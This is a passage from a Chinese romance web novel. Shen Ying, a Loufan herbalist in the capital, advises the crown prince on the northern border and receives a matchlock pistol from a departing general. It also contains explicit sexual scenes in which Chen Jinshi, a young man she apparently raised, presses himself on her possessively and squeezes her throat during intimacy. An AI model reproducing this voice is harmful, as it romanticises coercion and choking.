她顿了顿,想着自己来都来了,何不真的做些事情,便继续道:“民女以为,若要联牧民,需先立信。比如设互市司,派公正官员监管,盐、茶、布匹皆需足量优质,再与部落首领立文书,写明约定,一式两份,由双方保管。牧民见官府守诺,自然愿意亲近。” 这些都是边境存在许久的问题,若这一方君主愿意以诚相待,到时候他们牧民自然愿意投奔,自然不会再同之前那般,四处流离,在战争发生时难以自保了。 沈樱把话说得真诚,至于太子愿不愿意这么做,先舍出自己这方的利益以换取牧民信任,她便不知道了。 若是可以的话,家里的父兄日子定会更好过一些。 此话一出,几位老臣倒没有吭声,毕竟沈樱代表的并非己方利益。 倒是已经致仕的杨老大人抚须点头:“沈姑娘极有见识,太子可考量行事。” 太子恭敬回了老师:“谢老师指点。” 太子沉吟片刻,忽而又问道:“沈姑娘通医术,可与京城沈家有什么关系?” 沈樱一愣,正不知该如何作答。 她外祖提醒过她,让她不要在外说起自己与沈家的关系,可眼前人是太子,她怎能说谎? 正犹豫着,席间却出来一人,正是她的亲舅舅沈仲礼。 “回殿下,此女是臣家外甥女。” 此言一出,满场哗然,竟不知沈樱与沈家还有这层关系。 另外,这下沈樱当真与沈家脱不开关系了,所有人都会知道,她与京城的那个沈家,是一家人。 她轻轻叹了口气,不知这到底是福是祸。 不过她大抵是不在意的,她随时可以,拍拍屁股就回楼烦去,任由京城里的这些人要如何。 沈樱微微颔首,太子又随意问了两句,赏了她一些东西,便没再多说,与其他人问话去了。 沈樱悄然退后,一直退到陈锦时身前,他抵住了她。 “阿姆,谢清樾到底跟你说什么了?” 沈樱思绪骤然被拉回来,陈锦时还是那个陈锦时,脑子里只有那点事的陈锦时。 她捏着拳:“陈锦时,你到底知不知道这是什么样的场合,你现在该走到人前去,而不是站在我身后,偷偷摸摸用那个东西抵着我。” 陈锦时沉默了一会儿,随即道歉:“抱歉,阿姆,你知道的,我一看到你,一闻到你的气味,一碰到你,就忍不住,没关系,阿姆,别管它就好了,我退后一些,你现在能不能告诉我,谢清樾到底跟你说什么了?” 沈樱眉眼冷淡,低声道:“他说,你与他炫耀了什么。” “什么?” “我也不知道,但我大抵猜,是你正抵着我的那个东西吧。陈锦时,你做得有点太过了。” 陈锦时越发抵着她了,他继续道歉:“对不起。” 他本应该退后,但出于一种质问,不得不继续向前:“他竟跟你说那个!他可真不要脸!他也不是什么正人君子。阿姆,你信我,你绝不会喜欢他的。”他将她抵得有些痛了。 他拉起她的手,用着蛊惑人心的声线:“陈锦时的长得多漂亮啊,你摸摸,它是你的奴隶,我们都是你的奴隶,是你低声下气的漂亮奴隶。” 沈樱抽出手,转身面向他,眉眼仍旧冷淡,她拉他退到一座假山后头,又拉他降下脖颈,与他额头相贴,哄他:“现在冷静一些,好吗?”—— 作者有话说:这破孩子可真难带啊 第55章 “好。” 他们很快从假山后面出来,来到人前,无人知道为了换来陈锦时现在的乖巧,沈樱与他达成了什么协议。 日头西下的时候,宾客正要散,沈樱与陈锦时走到门前,杨芷薇忽然来请:“陈二公子,我祖父在书房等你。” 陈锦时站着没动,只望着沈樱。 沈樱朝他点头:“那你快去吧,我先回去了。” 陈锦时对她这话倒有些失望,但他答应了她听话,只能转身与杨芷薇走。在假山后,他向她提出请求:“晚上我想给你舔,可以吗?”只要她答应,他一整日都会很乖的。她被他抵着,所以答应了,所以他乖。 陈锦时跟着杨芷薇远去,沈樱转头回府,却在杨府门外被一架玄色威仪的马车拦住。 车帘内只一小太监露脸,命令她:“太子殿下有请。” 沈樱虽不愿多事,只想回家,却只能福身应道:“民女遵旨。” 车帘撩开的瞬间,一股清浅的檀香漫出来,车内铺着云缎软垫,太子端坐其中。 她怔愣片刻,就这般,独自上了太子的马车,只怕不妥。 太子看出她的犹疑,笑道:“沈姑娘出身楼烦,也会有男女大防的观念吗?” 沈樱一怔,彻底放下戒心,钻进马车:“自然没有,只是担心太子殿下介怀。” 太子手中捏着一卷书册,见她进来,便将书册放下,语气温和:“孤是男子,汉人所讲究的男女大防,一般只约束女子。” 他朝她指了指侧边小凳,她依言坐下,不敢随意打量,但太子身上的檀香气味很重,完全笼罩住了她。 “太子殿下见民女有何事?” 她感觉到马车开始行进起来,心中难免紧张。 太子却未说正事,反倒问起一些:“沈姑娘自楼烦来到京城,可有不习惯?” “回殿下,民女自七年前便从楼烦到了金陵,至此已七年未归家了,京城与金陵大抵相像,没什么不习惯的。” 太子闻言有些诧异,但并没有多问:“原来如此。”他顿了顿,话锋转向正题,“孤今日找你,是想再问问北境的事。” 沈樱谦逊颔首:“殿下尽管问便是。” 太子指尖轻轻摩挲着锦缎袖面,目光落在她脸上,语气添了几分审视:“孤听闻楼烦有些部落与北狄往来甚密,甚至有粮草互通?” 沈樱端坐在小凳上,面上不见波澜:“多是为了换些过冬的皮毛与药材,我们牧民只是想活下去而已。” 太子眼中闪过一丝了然:“北境之事一直是我父皇心中的一根刺,若真能妥善收服,真是再好不过。” 沈樱眼底闪过一丝异样,她垂眸掩下情绪:“楼烦部落分散,四处游走,殿下若想收服人心,定要花费大力气安抚。” 太子指尖顿了顿,抬眼看向她:“哦?沈姑娘倒有见解。那依你之见,该如何安抚?” 马车恰好驶过一段颠簸的路,沈樱扶着凳沿稳住身形,趁机理清思路:“民女不过是个寻常女子,不敢妄议国策。只是听同乡说过,楼烦最缺的是过冬的粮种与治病的药材,若朝廷能定期接济,比强硬施压更能让人心服。” 她声线沉稳,言语絮絮如温热泉水缓缓流淌,天生便具有让人信服的能力。她担心朝廷为了顺利推行军屯之策,会用武力收服楼烦 ,她家乡之人皆是手无寸铁,届时岂不全由他们这些官兵说了算。 从前有陈将军,如今也有赵将军他们,护住他们这些百姓不被欺辱。 太子微微颔首:“你说的是实情,孤也知北境百姓苦。只是朝中并非人人都这么想,有些人认为对‘蛮夷’就得强硬,方才显我朝威严。” 沈樱垂在身侧的手轻轻蜷了蜷,低声道:“民女瞧殿下是个好人,才说了许多,绝无妄议朝政之心。” 玄澈忽而轻声地笑了:“孤还是第一次听人说孤是个好人,沈姑娘,你是第一个。” 沈樱一怔,耳尖微热:“民女不甚通一些规矩,若有失言,殿下莫怪。” 玄澈摇头:“你从楼烦来,未自小接受中原礼教教养,孤自不会怪你什么。” 沈樱轻轻蹙起眉头,太子果然是太子,性子虽已极尽温润,言语间仍带有上位之人的傲慢之感。 太子竟亲手替她添茶:“若做储君,连‘好人’都算不上,那可真是天都要不服了。” 听了这话,沈樱方才察觉自己之言的可笑之处,便捂唇,眼眸轻轻往上瞟了太子一眼,目露抱歉。 “抱歉,殿下,民女不是那个意思。” 她或许有许多的无礼之处,但诚如太子所言,她并未自小接受中原礼教教养。 “民女的意思是,殿下应当是很好的。” “应当?” “是,民女未曾真正了解殿下,自然不能肯定。” 玄澈手中的茶盏停在半空,眼底漾开温和的笑意,连带着周身的檀香都似柔和了几分:“往后还有机会,你大可多了解。” 沈樱一怔,对上他的眼,对方目光溶溶,释放出的善意太多,令她感到无所适从。 太子很健谈,不知不觉,沈樱与他聊到了夜里,马车在陈府门前停下,她拜别太子,站在门前,目送太子马车离去。 陈锦行在书房,亮着灯,从窗边叫住了她。 “阿姆,今日可还适应?” 陈锦行知道沈樱不太喜欢那样的场合,但她在某种医术的确有些专精,无论是金陵还是京城里的贵人,都很喜欢她。 沈樱走进书房,接过陈锦行递来的茶,微微抿了一口:“嗯,陈锦时呢?” “还没回来。” “哦,可能是有要事。”沈樱将茶盏捧在手心,目光落在窗外沉沉的夜色里,“今日在杨府,他极好。” 没惹乱子,也没犯浑,他知道什么事情该做,什么事情不该做了。 陈锦行看了她一眼:“我在西街看了一处院子,园子很大,可以种海棠,院子里引了一汪水池,我瞧着是极好的。” 沈樱轻轻点头:“我都可以。” 陈锦行眉头微蹙,还是把话问出了口:“我见你从一架玄色马车上下来,那车架规制不似平常用的。” “是太子殿下,他问了我一些楼烦的事,耽搁了些时辰。” 沈樱语气尽量平淡,将今日之事尽数复述给陈锦行。 陈锦行眉峰仍微蹙着:“我原是不愿他这么快站到人前去,他性子太冲动,年纪又小,做事不谨慎,在这种地方一步行差踏错,便是万劫不复。眼下太子和杨家都看他入了眼,他背后又不似谢清樾那般有谢家撑腰,我真怕他……” 沈樱倒从未像陈锦行这般顾虑这么多,她后来觉得,许是因为大不了便是被砍头吧,她又不是没有上过刑场。 人生总是会因为各种各样的原因死去,冻死、病死、因战争而死……死亡是一件极其随机的事情,老死很难是人生目的。 如此,她更加珍惜每一天的生命,也不惧陈锦时走到人前,引起所有人的注意,吸引来所有善意、恶意。 他若在这里闯了祸,大不了,她带他逃到楼烦去。 沈樱语气淡然:“不必太过忧心了,他虽做事冲动,却也分得清轻重,况且,我看杨府有意谋他为婿,万一真成了呢?他不就有靠山了吗?锦行,你不必担心过甚。” 陈锦行看着她平静的侧脸,忽然觉得阿姆……她像一棵松柏,在风刀霜剑里扎下根去,藏着韧到骨子里的劲。 她淡漫而从容,她是那样随和,以至于他不知道该如何面对她。 “阿姆不是说……陈锦时是属于阿姆的吗?” 她笑意盈盈:“目前还是。” 院外忽然传来急促的脚步声,伴着陈锦时高声的呼喊:“阿姆!我回来了!” 话音未落,人影已冲进门来。 他像是没瞧见一旁的陈锦行,眼里只映着沈樱的身形,从门口进来,一见了她在书房,几步就扑过去,胳膊紧紧圈住她的腰。 沈樱被他扑得踉跄了两步,一声惊呼,他的脸已埋进她颈窝里,狠狠蹭了蹭。 “我好想你!杨家那老头讲了好久,我都快听睡着了。” 他声音发闷,鼻尖蹭着她衣领, 陈锦行避开眼,蹙着眉头,轻咳了一声。 沈樱面露烦躁:“多大的人了,为何这样毛躁。” 他像只终于寻到主人的狼犬,一个劲地在她脖颈里吸取。 直到嗅到一股陌生气息,小狗会立刻警觉。 他的五指捏住她的腰,抬起头,目光变得凶厉:“阿姆,你身上有别人的气味。” 沈樱一怔,马车的车厢是一个极其私密的封闭空间,她与太子私谈许久,几乎全身都沾上了他那里的气味。 陈锦时嗅觉敏锐,瞬时察觉她被陌生气息占领。 他原本黏糊而贪恋的眼神瞬间冷了下来,像被人抢了食,喉咙里甚至滚出一点低低的闷响。 他盯着沈樱的脖颈,又低头嗅了嗅她的衣襟,眉头拧得死紧:“是男人的味道,很淡,不是我的,也不是哥哥的。” 沈樱下意识攥紧了衣袖,她明明没做错什么,可从他的审视里,她莫名觉得自己错了。 眼看气氛剑拔弩张,陈锦行轻咳一声:“陈锦时,别在这里烦人,赶紧回你房去。” 陈锦时淡淡瞥了他哥一眼,又把视线落到沈樱身上。 她不自在地侧头。 他伸手扣住她手腕,眼底的占有欲几乎要溢出来:“阿姆,你今天答应我的事情,我要给你……” “松开!”沈樱被他扣得手腕生疼,听见这话,狠瞪了陈锦时一眼。 他攥得更紧,眼底只剩下那点偏执。 沈樱换了一种语气:“你乖一点好吗,乖孩子才有糖吃。” 他目光极具穿透性地扫过她的衣领,喉结滚动,明明没有触碰,她衣襟下的皮肤却泛起痒意。 他终于缓缓松开她。 陈锦行把持不住平淡面孔:“陈锦时!从我这里滚出去!” 陈锦时放开沈樱,在一旁垂头站立,沈樱脸色也沉下来。 陈锦行道:“抱歉,阿姆,我说话大声了一点。” 沈樱面孔肃穆,整了整衣领:“无事。” 她走出书房,陈锦时跟在身后,冷冷看了哥哥一眼,陈锦行回以他警告的目光。 陈锦时跟着沈樱回房,她在门口抵住了他。 陈锦时冷静索求:“你答应我的,阿姆。” 她松开门,放他进来。 她坐在桌边,以姿态警示他,先与她保持一定距离。 “我回来之前,你与哥哥说什么了?” 他倚在柜边站定,呼吸急促。 沈樱觉得他很快就会扑上来。 “没什么。” “你今天还见了谁?身上的味道是谁的?” 沈樱淡淡看他 :“陈锦时,你是个什么东西?” 那人浑身一凛,像被兜头泼下一盆冷水,就算她一动不动,也像有一个巴掌挥在他脸上。 但她的巴掌是何等珍贵之物,并不是他想要便能得到。 他不是会退缩的人,也不是会服主人的小狗,他很叛逆。 他往前逼近一步:“我是个什么东西?阿姆,我是你的,我是你的!” 他只是逼近,再不敢有任何动作。 “对不起,阿姆,又抵到你了。” “不要在这种时候脱裤子,陈锦时。” 她一把给他提上裤子,好像对他展示出来的不屑一顾,颇有鄙夷。 “阿姆,我长大了,是不是长成了你想要的那种男人?” 烛火在窗纸上晃出细碎的影,不远处传来开门声和关门声,陈锦行也已经回房了。 陈锦时往前又逼半步,膝盖轻轻顶开她交叠的腿,将她困在自己与木椅之间。 他的呼吸滚烫,全扑在她脸上。 眼底仅剩的那点温顺全是伪装,像草原上假意投诚的狼,耳朵乖乖耷拉垂下,爪尖却已抵在她心口,准备好随时剖开她的胸膛。 沈樱静静看着他,他衣着完整,面容驯服乖巧,忍着凶性。 陈锦行今日显然也不冷静,正房传来一些并不压抑的声响。 宅院虽小,但那两个人显然没必要捂着嘴行事,张若菱又已胎像稳固。 二人听了一会儿,她看见陈锦时眼中凶性泄露一些。 她微微扬起头颅,他的头已埋下。 她轻轻哼出声,有一种预感,她全身都逃不过他的吮吸。 温热气息钻进耳窝,沈樱浑身一颤,指尖不自觉蜷起,掐进他的皮肉里,陈锦时闷哼一声。 好似,只是这样的侍奉于她,已让他神魂俱颤、兴奋不已。 “究竟是谁?” 他猛吸一口檀香气味,再由自己,全然把她的皮肤和毛孔覆盖。 她攀着他小臂的紧绷肌肉,轻轻摩挲,像是安抚:“是太子殿下。” 沈樱的呼吸乱了,她听见他喉咙里滚出地低哑闷响。 “太子?阿姆,你会喜欢太子那样的男人吗?”陈锦时的声音含混不清,唇瓣贴着她的皮肤移动,留下一串濡湿的印子。 他似乎在回想,今日见到的太子,是何种模样。 沈樱仰着头颅,不知该如何作答,听他这么问,倒真的回想起,太子是个什么样的男人,有何处会让她喜欢。 陈锦时既想从她口中得到答案,又占有欲作祟,在她腰下狠掐了一把:“阿姆,你好不专心。陈锦时这样服侍你,你心里只能有陈锦时。” 他忽然抬头,唇角还沾着水光,看着乖得要命,手上却下了狠劲儿。 沈樱被他带得前倾,额头抵着他的,能清楚看见他瞳孔里自己的影子。慌乱的、克制的。 她仍然开口:“他很温柔,很讲礼数。如果是在床上的话,应当会比你礼貌多了。陈锦时,你不太有礼貌。” 他低头咬她,咬得极用力,直到留下深刻齿痕,她抱着他头低喘,垂头看他向上翻起的眼:“你看你,你真的很坏。他应当不像你这么坏。” “那哥哥呢?”他含着她含混不清地开口。 “什么?” “哥哥。” “我想的不是他。” 陈锦行从她胸口抬头,眼里似有诧异。 他想她要么会为了气她,故意说些什么,或是,直说对哥哥从没有假想过什么。 可她却说…… 沈樱抚着他的头颅,像是一种安抚,也像是一种嘲弄。 她撇过他沾着晶莹的唇,轻笑一声,没想过这样的话会对陈锦时造成什么样的刺激。 她用气声,咬着他的耳朵说道:“我偷看过将军沐浴的。” 陈锦时侧头看她,紧咬着牙关,她能看见他瞳孔的颤抖。 “如果是他的话,我当真想过,陈锦时,他比你凶多了,可惜……他从不那样看我。” 沈樱攀着他的肩,淡淡地说。 她许久未提起这些压在心底的陈年旧情了,那些情意也早就被封存起来。 虽说她后来更多把将军视为好友,但在情窦初开的少女时期,她只是那么肖想一下,好像也无伤大雅。 陈锦时浑身的血液像是被瞬间冻住,她不光是打了他一个巴掌,她是坐在高堂上,与他父亲并肩,以他父亲的名义,扇了他一个巴掌。 “陈锦时,你把我的裙摆弄脏了。” 她冰冷的声音给了他当头一棒,令他清醒,令他羞耻,令他脆弱且彷徨。 他看着身下,她端端坐着,裙摆上沾有脏污。 她拢着衣领:“原来提起他会令你失态吗?” 不是哥哥,也不是谢清樾,更不是太子,是他。 陈锦时怔然未开口。 沈樱抚摸他的头:“看来是的,陈锦时,你还没有完全长大。” 他僵在原地,方才明白,她是在回答他的问题“我长大了,是不是长成了你想要的那种男人?” 他原以为自己势在必得,而她不动声色地给他降下了最羞辱人的答案。 沈樱缓缓起身,没看他,低头用指尖捻了捻裙摆的料子,语气淡得像在说天气:“今晚还能起来吗?陈锦时。” 他神色几经变幻,最终为自己声讨:“阿姆,我一向对你全无抵抗力,你不能仅凭这个羞辱我,这对我太不公平。” 她低头轻轻瞥他,他果然又已蓄势待发,不过这一回,他不敢勇往直前。 他捏着拳,轻笑道:“所以,我小时候对你的误解,是真的?” 沈樱倚在窗边似笑非笑:“如果是真的,你会为你现在的行为感到羞耻吗?” 他已走到她身后,搂住她的腰,存在感极强的一处,丝毫不避讳自己,在诉说着攻击和占有。 夜风从窗缝钻进来,掀起沈樱鬓边的发,把两人的影子拉得很长,他牢牢覆在她身上,指腹用力蹭过她衣料下的软肉,像是要把那点羞耻坐实,融进骨血里。他抓住她的手向下探去,下巴抵在她肩头,呼吸烫得她脊柱发麻。 他说:“不会。我要的就是你啊,阿姆……” 阿姆。 他闷哼一声,埋在她颈窝里深嗅。 沈樱没拒绝,只抬手,指尖轻轻搭在他箍着自己腰的手背上,指甲轻轻刮过他的骨节。 有关道德的那部分,实在是给今晚很助兴。 “对不起,阿姆,刚刚把你的衣裳弄脏了。” 她身后是毫不掩饰喘息的声音。 她没有回答他,也没有原谅他。 他说:“这次不会了。” 她背对着他,面向窗外,他的手从后伸过来,捂住了她的唇,探入一根手指,好让她隐忍嚼弄。 “你可以把我的手指咬断,陈锦时一点也不会觉得疼。” 在极尽隐忍之时,她终是不忍咬断他的手指,便用舌尖抵出他的指根,身子伏在窗台,嘤咛出声,夜深人静,格外悦耳。 如同仙乐,好叫陈锦时痴狂至此。 是春,新科进士馆选于翰林院衙署举行,朱门大开,丹墀之下,新科进士皆着深蓝圆领袍、乌纱帽,按甲第名次列队,一甲三名立守列,二甲、三甲分列两侧,衣袂微动间,尽是拘谨与威严。 辰时三刻,首辅大学士杨敞携掌院李东阳缓步而出,立于阶上。 李东阳手持名册,声如洪钟:“今岁馆选,为储养翰林、备他日廊庙之选,考以经义、诏诰二题,限时三时辰,字迹须工整,勿逾格、勿漏写,违者黜。” 点名验身环节最是严谨。吏役持登科录逐一核对,“二甲第七名,陈锦时。”唱名既落,陈锦时上前一步,躬身递上身份证明,吏役验过相貌、核对籍贯,方点头:“验明正身,入内。” 是秋,皇帝御批馆选名单,陈锦时以拟录第十名正式入选庶吉士,入翰林院庶常馆学习。 庶吉士乃“储相之选”,按制,庶吉士需修业三年,研习经史、诏诰、章奏之法,由内阁首辅与翰林院掌院学士共同教习。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 55-60 第56章 今秋,谢清樾无缘庶吉士拟录名单,与皇帝辞行,领了戍边将领的职务,便要启程了。 如今京中皆称他为谢小将军。 沈樱的后院如今晒满了草药,她在京中设了“都兰蒙药”分号,仰仗沈氏药局“关照”,她如今生意做得极好。 檐角的桂花落了一地,踩上去沙沙响。 谢清樾来时,正撞见她蹲在石桌边翻药材。竹筛里摊着刚烘干的草药,阳光落在她发顶,染得 浅褐色头发泛着暖光。 他脚步放轻,沈樱听见动静回头。 见他穿着身极威风的墨色戎装,腰束玉带,显得身材十分英挺。 她眼睛一亮,起身拍了拍手上的药末:“你来了。要走了吗?” 谢清樾笑了笑,走到石桌旁坐下:“嗯,明日就走,来看看你。你有没有什么要我带过去的。” “他们应当不缺什么,我写封信,你替我带过去吧。” “好。” “谢小将军,北境风寒,你既去了,要多留意身子。” 谢清樾目光一直在她身上:“这话我也要对你说。都兰,你要保重。京中不比金陵,这里面形势复杂,你千万别与他们多掺和,若是觉得累了,便回楼烦来。” 他从腰后取下一只牛皮小包,递给她。 她伸手接过,有些疑惑。 “这里面是把火铳,若情况危急,你尽管拿出来使。寻常人不会有这个,只要能保住性命,往后天南海北,如何都行。” 沈樱打开布包,拿起掂了掂,沉得压手,枪管冰凉。 “你倒费心,连这个都替我想着。” “这把是军中匠师改良过的短铳,后坐力小。”他伸手过来,指了指枪身侧面的暗槽,“火药分了三包藏在夹层里,用时把这小栓拉开,填药、扣扳机就行。” 沈樱点点头,把火铳放回牛皮包:“多谢,这个对我来说很有用。” “我倒希望你永远也用不上。” 他伸手,忽然将手掌落在她头顶,沈樱一怔,并没躲开,他放得极克制,只轻轻地揉了一下,便挪开。 沈樱抬手拢了拢被揉乱的发丝,没说话,只弯了弯唇角,像是,默认了这片刻的亲昵。 谢清樾收回手,指尖还残留着她发间的触感,他轻咳一声,极为不舍。 沈樱转身往屋走,拿出纸笔,在石桌上摊开,就这样写起信来。 谢清樾目光落在院角晒得半干的草药上,竹筛层层叠叠排着,陈府如今已搬进了西街的大宅子,这后院里全是沈樱的药。 “在想什么?”沈樱写完最后一笔,把信纸叠好。 谢清樾回神,接过信仔细揣进内袋,他在想,往后再见,不知是何年何月了。 沈樱眼底带着点笑意:“晚上留下来吃顿饭吧。” 谢清樾忽然问起:“你们家的那个小家伙快出生了吧?” 沈樱笑道:“是,若菱这几日都不怎么出门了。” 日头渐渐西斜,桂花的影子被拉得很长,陈锦时从翰林院回来,穿着圆领绯红的补服,前后缀着鸂鶒,头戴乌纱冠帽。 “阿姆,我给你带了枣泥糕,刚蒸出来的。” 陈锦时刚进院门,见石桌旁两人相对而坐,檐下桂花簌簌落在肩头。 他脚步顿了顿,随即笑着走上前,红袍上落下影影绰绰的日光:“谢将军怎的来了?可是明日就要启程?” 他在沈樱身后站定,弯腰在她跟前放下食盒,轻声问她:“喝茶了吗?给你温一壶热龙井吧。” 谢清樾起身,与他略一拱手,目光落在他绯红官服上:“有些日子没见了,最近在翰林院可还习惯?” 陈锦时目光从沈樱身上挪起来,与他回礼:“倒还算习惯,不过是每日跟着掌院学士抄录典籍、整理奏章。“ 说罢,他转身往屋中走去,不多时便提着一把铜壶出来,壶身还冒着细白的热气。 他将茶杯摆到石桌上,斟茶时动作轻柔,热水注入杯中,茶叶缓缓舒展,飘出清冽的茶香。 谢清樾眼眸从两人之间掠过,随即拿起茶杯抿了一口,开口道:“翰林院虽是清贵之地,却也藏着不少门道,你性子……如今倒是沉稳多了,凡事要记得留个心眼。” 陈锦时放下茶壶,视线从桌上的火铳上扫过,颔首应道:“谢将军,倒是你去北境天高路远,万万保重身子,晚上留在府上多喝几碗羊肉汤,也算为你践行。” 沈樱这时收起桌上的纸笔:“汤还在灶上煨着,锦时,你去瞧瞧,里面加了草药。” 陈锦时应了一声,官袍还未换下,抬步便要过去。 院子里,沈樱对谢清樾道:“我给你备了些药膏,抹在脸上能防皲裂,你带上吧。” 谢清樾嘴角弯起浅浅的弧度,陈锦时已从灶房里出来,谢清樾收回视线,沈樱正将药膏塞进谢清樾的布包。 她把布包递过去,又很快收回。 陈锦时提着汤煲出来,如今府上院落宽敞又大,陈锦行夫妻倒不常与他们同用晚膳了,何况张若菱如今不怎么见人,沈樱也不去扰她,省得还要劳动她起来问安。 今日便就陈锦时与谢清樾二人陪她用饭。 壶身缠着麻布,热气从缝隙里钻出来,带着羊肉与草药混合的暖香。他将汤煲放在石桌上,先给沈樱盛了一小碗,汤匙轻轻撇去浮沫,才递到她手边:“阿姆先尝尝,看咸淡合不合口。” 沈樱接过碗:“多谢,谢公子,你也请便。” 谢清樾正要动,却见陈锦时拿起另一只空碗,盛了满满一碗递给他:“去了那边可喝不着了,谢将军,今天你要喝个够。” 谢清樾接过碗,抬眼看向陈锦时,对方面容几乎没有任何破绽,一副温和有礼的模样。 他笑了笑:“多谢。”背向椅子上靠去,仰起头打量陈锦时,不知想了什么,似笑非笑,“陈锦时,你最终还是变成了,你最讨厌的样子啊。” 沈樱一怔,缓缓抬头看陈锦时,他垂下头,伸手拂去沈樱肩上的花瓣,动作间,腰间玉带轻轻晃动,在日光下映出一点微光。 沈樱将目光转向谢清樾,谢三公子,你变了,变得有点“坏”了。 谢清樾如今好像正是,从前不顾一切的,从不知体面为何物的陈锦时的样子。 陈锦时最讨厌什么人,最厌恶什么模样,他自己心里最清楚。 谢清樾将要远离宅门、朝堂,在礼教熏陶下长大的谢三公子即将要对这些东西不屑一顾,因此他今日变得肆意、无礼。 他朝陈锦时挑眉。 陈锦时放在背后的手轻轻蜷了蜷,抬眼看向谢清樾,脸上依旧带着温和的笑,只是那笑未达眼底,声音平稳,听不出波澜:“人总是要变的,我小时候顽劣,不知多少次惹阿姆生气。从前觉得不屑的,如今才知是立身之本。” 他单手勾着沈樱背后的发,沈樱握紧了碗沿。 “毕竟……我自小身体不好,不像谢将军。阿姆教会我一个道理,人生断然没有十全十美,一处得意,自然在另一处失意。” 谢清樾视线仍落在他身上,继续问道:“哦?你如今何处得意,何处失意?” 陈锦时没直接回答他,只望着沈樱道:“阿姆喜欢我如今穿着这身绯红官服。” 谢清樾没有再问下去,沈樱放下碗勺:“谢公子,祝你鹏程万里。” 谢清樾怔愣片刻,眉尾耷拉下来:“都兰,你也不该困在这宅院里。” 沈樱朝他温和笑着:“我喜欢这里。” 谢清樾神情逐渐落寞:“也是,楼烦实在太苦了。” “楼烦有楼烦的自在,京里有京里的安稳,如今我守着药铺,看着府里平平静静,就很好。”沈樱拿起帕子轻轻擦了擦嘴角,目光落在院角晒得半干的草药上,竹筛里的叶片还带着阳光的暖意,又说“其实我如何都行。” 谢清樾握着汤碗的手紧了紧,汤面泛起细小的涟漪。他望着沈樱眼底的笑意,喉结动了动,最终只化作一声轻叹:“只要你好……”话到嘴边,他顿了顿,终究没说下去,只端起碗喝了一大口汤,将剩下的话咽进了肚里。 “我知道了,你也要照顾好自己。” 日头最后一缕金辉掠过檐角,被暮色悄悄吞了去,后院的光线渐渐沉下来。晒了一天的草药还带着淡淡的草木香,混着桂花落了满地的甜润气息,在微凉的晚风里慢慢散开。 谢清樾已经辞行,沈樱站在门边一直望着他走远,眼中的情感不知是不舍,还是对他所要去之处的向往。 陈锦时回房换了常服,头发梳理整齐之后 ,皆披散在肩头。 后院清净,下人们都聚集在前院,寻常不会过来,这处清净的院子,便唯有两人居住。 沈樱拢了拢衣襟,转身往屋里走。 陈锦时缀在她身后,给她披上狐裘。 沈樱拿起谢清樾给她的火铳,细细擦拭干净,打算收捡起来。 陈锦时问她:“你会用吗?” 她轻轻点头:“谢公子教我了。” 她回头看他,火铳在她手上利落地转了一个圈,冰凉的枪管映着冷冽的光,枪管正指向他。 “对了,你会吗?” 陈锦时脚步一瞬也未顿住,他继续上前,靠近她,目光落在她握着枪柄的手上。她手指纤细,却将那沉甸甸的短铳握得稳当。 直到两人距离不过三尺,他缓缓站定,目光落在沈樱平静的脸上:“金陵的军营里没有这个,想必是禁军里才有的。” 沈樱握着火铳的手没动,指尖轻轻扣在扳机上,声音很轻:“听说这个杀人很厉害。” 他握住她的手,枪管正抵在他胸膛上,问她:“你有想杀的人吗?” 沈樱轻轻摇头:“暂时没有。” 她拿下火铳:“你看,填药的暗槽在这里,拉开小栓就能装上火药。” 她将谢清樾教她的那些悉数复述给陈锦时。 陈锦时的目光随着她的指尖移动,静静听她教他这些,随后只望着她的眼睛。 沈樱抬眼望他,他长发披散,眉眼在灯笼微光里显得格外沉敛,方才那副温和有礼的模样淡了几分,眼底藏着一丝不易察觉的隐忍。 他们离得很近,她能听见他的心跳和呼吸,他已经硬了,但他仍专心致志听她说话,说另一个男人教她的话。 “你学会了吗?” “学会了,阿姆。” 沈樱声音轻得像叹息:“你说它杀过人吗?” “也许吧。” “你有想杀的人吗?”她忽然抬眼问他。 陈锦时喉结动了动:“若是我想杀人,不必动用这个。” 在风吹过的沙沙声响里,沈樱问他:“那你会怎样?” 他慢慢转身,背对她时抬手解了腰间束带,露出一截紧实有力的腰腹。目光掠过她脖颈,抬手便扣住了她的下颌,指腹带着薄茧,力道不重,却精准地让她抬脸看着自己。 随即,他拇指缓缓滑向她的颈侧,顺着纤细的脖颈,掌心完全贴住脉搏,指尖轻轻按下。 他声音压得极低:“就像这样,我可以轻而易举将它折断。” 话音落时按着她脖颈的手指微微收紧,那力道带着掌控感,沈樱清晰感受到脖颈被扼住的压迫,她的脉搏在他掌心下跳动。 他眼底的光褪去了温和,望着她时,只剩沉沉的暗火。 如果不是她,大抵会真的认为眼前人要把自己脖颈折断。 他危险地逼近,扣着她脖颈的手没松,另一只手却轻轻抚上她的发顶,温热呼吸扫过她的耳廓:“阿姆,你会害怕吗?” 沈樱微微仰头,指尖覆上他掐在她脖颈上的手背,声音平静:“不会,我知道你不会伤害我。” 他不舍得离开,用指腹轻轻摩挲着她的脉搏,温热、纤细、脆弱。 在全然压迫的危险中,沈樱有些心猿意马,一旁的手忍不住掐他腰侧。 她仰头,眼尾微微上挑,那双素来温和的眸子带着点不自知的媚意,褪去了所有防备,甚至含有隐隐的渴望,瞳仁里清晰映出他的身影,他长发披散,眼底沉得晦暗。 陈锦时只是一怔,扣在她脖颈的手彻底松了力道,只剩指腹还在恋恋不舍地轻轻摩挲,她眼底闪过一丝不可察觉的遗憾。 “阿姆是单纯信任我不会伤你,还是……如果是我,就算掐断它,也可以。” 他不知道自己为何会这样问出口,大概是他察觉到,沈樱并不是一个很在意性命的人,如果人生必然会走向终点,那么,被他折断脖颈,是她可以选择的死法之一。 不是愿意,是可以。 这样也可以,那样也可以,没有倾向和偏好。 她就那么仰头望着他,眼底只有细碎的光,仿佛在说:“你看,我们最终会走向什么结局呢?” “都可以。”她声音很轻。 这话也不是全然的纵容,也不是全然的交付,更像是对生命的淡漠。如同知道注定有一些羊群度不过冬天,注定后院的草药会在太阳下晒干。 她的手在他腰侧轻轻地抚蹭,抓着他的衣摆,颇有些将自己重量依赖上去的感觉,陈锦时喉结猛地滚动了一下。 天未亮透,陈锦时捧着一摞典籍走进值房,案头堆叠着待校勘的奏疏。 值房的门“吱呀”一声被推开,同僚打了两碗热粥走进来,笑着打趣:“陈大人每日最早来,这才卯时初,你案头的活计就堆成山了。” 陈锦时抬头笑了笑,接过粥碗:“昨日掌院吩咐的奏疏,今日巳时前要校勘完,早些动手,免得误了时辰。” 李大人调侃道:“首辅大人有意栽培你,要是我,也巴不得天没亮就过来干活。” 